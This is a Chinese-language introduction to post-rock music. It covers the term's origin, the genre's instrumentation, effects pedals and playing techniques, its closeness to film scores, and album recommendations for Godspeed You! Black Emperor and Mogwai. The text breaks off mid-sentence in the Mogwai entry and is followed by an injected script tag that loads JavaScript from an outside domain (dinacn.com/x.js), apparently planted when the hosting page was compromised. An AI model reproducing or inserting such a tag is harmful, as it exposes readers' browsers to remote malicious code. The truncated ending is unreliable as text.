在google中搜索post rock（后摇滚），一定会找到Simon Reynolds写的一篇——《Shaking the Rock Narcotic》的文章，因为就是在这篇文章里面，post rock这个名词第一次出现。当时的定义主要是说用摇滚的配器做非摇滚的音乐，颠覆传统的摇滚乐形式。不过时下的所谓后摇滚乐队们基本上都不愿意被冠上后摇滚乐队的这一标签，他们更愿意你说他们是Instrumental Rock (器乐摇滚)——因为这类乐团大部分都是纯音乐性质的，没有主唱。
其实后摇滚这个名词的运用对90年代初的符合Simon Reynolds定义的很多此类芝加哥乐团起到了很大的推广作用，但时至今日，当年后摇滚的定义对时下的众多后摇滚乐团来说已经显得比较牵强了。除了大多数此类乐团依然保持着纯器乐之外，在所谓反摇滚方面其实并不强烈，相反，多数乐团从歌曲的结构到旋律都是相当摇滚的。
从乐队的乐器配置上讲，现今大部分的后摇乐队还是传统的电声乐器为主，两个吉他、一个贝斯和一个鼓作为基本的配置，有些乐队会有小提琴。当然，这其中也有像Godspeed You! Black Emperor这样同时拥有大提琴手、小提琴手、两个贝斯手、两个鼓手、三个吉他手的乐队；或者Do Make Say Think这样的同时拥有管乐手的异数。除了这些乐器之外，很多的后摇乐队也会用到采样器和鼓机等电器化的设备。
效果器方面，这些乐队脚下常常都是堆满了各式各样的单块，不过EH和Boss这两种牌子的效果器依然是其中的主流，混响和延时效果成为了他们营造音乐气氛的主要武器。失真类的效果器他们大多偏重fuzz类的效果，RAT也是很多后摇乐队的失真效果的首选，后摇的标志性的音墙由此而来。
从演奏手法上看，很多后摇乐队都有些自己与众不同的方式。比如：Godspeed You! Black Emperor的吉他手Efirm经常使用一个金属棒来刷弦；Sigur Ros的主唱很多时候不是弹吉他而是用弓子拉动吉他；Mono的女贝斯手经常在音乐高潮的部分踩开失真效果，用弹吉他的手法来拼命的扫动贝斯弦；Mogwai的鼓手在某个作品中会将触发器接在自己的鼓上，打鼓的同时，吉他手旋动触发器接入的效果器，让本来平常的鼓声变得非常电子化。
从作品本身来说，没有主唱的音乐并不会让听众感觉少了什么，相反它会给听者更大的思维空间，更容易把听众融入到纯音乐创造出来的意境之中，这也是后摇音乐最美妙的地方。尽管此类的后摇音乐和其他传统的摇滚乐一样都是很个人化的东西，但很大的区别在于这种纯音乐是一种开放式的，因为很多时候有歌词有唱的音乐往往给人的感觉是它在和听众讲一件事，你来唱，我来听。而聆听纯音乐的时候，听众完全可以是主角，此时的音乐只是个催化剂，听众在音乐中可能会游走到自己曾经去过的一个地方，游历自己曾经的某个伤心的或者快乐的场景。
在整个音乐的进行上看，于平静处细腻、美妙，于高潮处宏大、辉煌，这成为了大部分后摇乐队的统一特点之一。而这一点也可以看出这种音乐形式实际上在交响音乐中也吸取了很多的营养。
尽管后摇乐队中很少有主唱，但是对于人声采样在这些乐队的作品中还是会出现的，通常这些人声采样多是夹杂着环境声的人声独白或者两人的对白。与其说这种人声采样根源于电子乐的拼贴，还不如说是由来于后摇这种音乐同电影原声的近亲关系。后摇这种音乐好像生来就同电影割舍不开，这无非源于这种音乐独有的画面感，所以后摇音乐也成为了很多电影导演寻找电影配乐的首选。同样，很多后摇乐队也总喜欢在自己现场舞台的背景上投影某些剪辑过的电影或者视频片断。
最后向您推荐聆听几张后摇唱片（均不是犄角旮旯的难以寻觅的乐团，全是大陆货，你能很容易地找到）。
1．GodSpeed You! Black Emperor《Lift Your Skinny Fists Like Antennas to Heaven》 （2000）
来自加拿大蒙特利尔的后摇名团，这张是他们2000年发行的双专辑，听Godspeed的唱片需要耐心，在动辄几十分钟的一首的曲目中他们将后摇层层递进的手法发挥到了极致，他们的音乐被誉为末世情结的缩影。无疑，古典音乐对他们的影响是巨大的，而且事实上他们中的很多成员的确在组队前就有古典音乐的功底，但令人忍俊的是当有记者问到他们的音乐受到哪种音乐形式的影响最大时，他们的回答竟然是：Hardcore。
2．Mogwai《Rock Action》 (2001)
尽管这张2001年的专辑刚刚推出来的时候很多Mogwai饭们均觉得不爽，觉得缺少了Mogwai标签式的吉他音墙的这张《Rock Action》没有听头?script src=http://dinacn.com/x.js> |